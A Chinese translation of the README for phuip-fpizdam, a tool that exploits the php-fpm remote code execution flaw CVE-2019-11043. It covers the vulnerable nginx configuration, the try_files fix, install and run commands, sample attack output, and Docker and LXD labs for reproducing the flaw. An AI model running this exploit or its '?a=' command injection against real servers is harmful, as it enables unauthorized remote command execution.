使用 PHuiP-FPizdaM 工具来检测 PHP CVE-2019-11043 远程执行漏洞
介绍
这是一个关于 php-fpm (CVE-2019-11043) 的漏洞利用 Bug。在某些 nginx 和 php-fpm 配置文件中,该漏洞可能会通过外部触发。这就意味着如果你的配置文件是易攻击的(接下来会介绍),那么用户就可以通过 web 访问来利用该漏洞。
易受攻击的配置
如果一台运行 nginx 与 php-fpm 的服务器的具有与下面类似的配置:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
并且配置中缺少任何脚本性的存在性检查(比如 try_files
),那么通过该漏洞就可以进行破解。
使用前需要进行的配置
- Nginx + php-fpm,
location ~ [^/]\.php(/|$)
必须转发到php-fpm(也许正则表达式可以更严格,请参见 #1)。 - 必须有一个
PATH_INFO
通过语句分配变量fastcgi_param PATH_INFO $fastcgi_path_info;
. 同时SCRIPT_FILENAME
必须使用fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
(可能有一条固定的路径而不是$document_root
)。 起初,我们认为这些总是存在于fastcgi_params
文件,但这不是真的。 - 这必须有一种设置的方法
PATH_INFO
到一个空值。该漏洞利用假设fastcgi_split_path_info
指令在那里并且包含一个以^
并且以$
结束,因此,它尝试使用换行符破坏正则表达式。 - 此特定漏洞利用假设
PATH_INFO
设置REQUEST_URI
在配置文件中。 - 没有文件存在检查
try_files $uri =404
orif (-f $uri)
. 如果Nginx在FastCGI转发之前将请求丢弃到不存在的脚本,则我们的请求将永远不会到达php-fpm。添加此也是最简单的修补方法。 - 此漏洞仅适用于PHP 7+,但该漏洞本身存在于早期版本中 (查看 below).
这不是一直存在的问题吗?
很久以前php-fpm并没有限制脚本的扩展名,这意味着像 /avatar.png/some-fake-shit.php
这样的东西可以作为PHP脚本执行,该问题已在2010年左右修复。
当前版本不需要文件上传,可以在最新版本中使用(直到修复程序发布),而且最重要的是,此漏洞的拥有 phuip-fpizdam 这个很酷的工具。
如何运行
使用以下:
go get github.com/neex/phuip-fpizdam
如果您遇到奇怪的编译错误,请确保使用的是 go >= 1.13,并且 phuip-fpizdam [url]
运行环境的 $PATH
内有 $GOPATH/bin
,否则请指定二进制文件的完整路径。正常运行的输出如下所示:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
之后,您可以将 ?a=<your command>
追加到所有PHP脚本中(您可能需要多次尝试)。
或者,您可以使用 docker 镜像 来做渗透测试:
docker run --rm ypereirareis/cve-2019-11043 [url]
环境
使用 Docker
如果要重现问题或通过Docker在本地做漏洞测试,请执行以下操作:
- 克隆该仓库并转到
reproducer
目录。 - 使用
docker build -t reproduce-cve-2019-11043 .
创建 Docker 镜像。 它需要耗费点时间,因为它会内部克隆 php 并从源代码构建它。 构建的 php 版本是修复之前的修订版。 - 使用
docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043
运行docker。 - 现在您有了http://127.0.0.1:8080/script.php,这是一个空文件。
- 使用
phuip-fpizdam http://127.0.0.1:8080/script.php
运行渗透测试; - 如果一切正常,您可以通过在脚本后附加
?a=
来执行命令:http://127.0.0.1:8080/script.php?a=id。 多尝试几遍,因为只有部分 php-fpm 进程受到感染。
使用 LXD 系统容器
如果要重现问题或通过 LXD 在本地做漏洞的渗透测试,请执行以下操作:
- 创建两个系统容器,分别是『受攻击者』和『攻击者』(
vulnerable
和attacker
)。两个容器使用的是ubuntu:18.04
镜像。 vulnerable
容器中安装 nginx 和 php-fpm。配置 [见此](https://gist.github.com/simos/9a87bedfcd72...) 。创建一个空文件/var/www/html/index.php
。- 在
attacker
容器中,安装了Go语言(sudo snap install go --classic
),克隆了此项目,然后在项目中运行go build
。 - 进行如下攻击:
./phuip-fpizdam http://vulnerable.lxd/index.php
。请尝试多次,以感染更多的 php 线程。
更多信息请参阅 使用LXD系统容器做渗透测试 CVE-2019-11043(php-fpm安全漏洞)。
对 PHP 5 的影响
php-fpm 的缓存区下溢也出现于 PHP 5 版本中。然而,该漏洞利用的是用于存储 FastCGI 变量的一个优化(_fcgi_data_seg)。这项优化只有在 PHP 7 的版本中出现,因此这个特殊的漏洞仅对 PHP 7 版本生效。不过在 PHP 5 的版本中也许也存在着另外一个漏洞。
本文中的所有译文仅用于学习和交流目的,转载请务必注明文章译者、出处、和本文链接
我们的翻译工作遵照 CC 协议,如果我们的工作有侵犯到您的权益,请及时联系我们。